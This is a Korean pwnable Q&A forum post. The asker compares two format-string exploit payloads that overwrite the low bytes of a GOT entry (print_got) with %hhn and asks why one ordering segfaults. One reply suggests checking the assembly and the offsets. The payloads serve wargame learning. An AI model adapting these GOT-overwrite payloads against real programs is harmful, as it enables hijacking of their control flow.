주소와 포맷스트링의 순서에 따라 결과가 다르게 나옵니다
  1. payload = b'%105c%7$hhn' + b'%29c%8$hhnAAA' + p32(print_got) + p32(print_got+1)

  2. payload = p32(print_got) + p32(print_got+1) + b'%97c%1$hhn' + b'%29c%2$hhn'

(1번)포맷스트링 + 주소의 경우에는 seg fault가 발생하고
(2번)주소 + 포맷스트링의 경우에는 print_got의 하위 2바이트가 정상적으로 덮어씌워졌습니다. 왜 동일한 코드(제가 생각하기에는요)인데 결과가 다르게 나오는지 궁금합니다.

#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

저도 그렇게 보이긴 하는데요...
실제로 값을 seg fault가 발생할때 어셈블러코드와 값을 보면 답이 나오지 싶은데요...?
보통 오프셋 문제가 대부분인데 저대로라면 돼야할 것 같은데 말이죠 ㅎㅎ

2022.11.29. 07:42
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기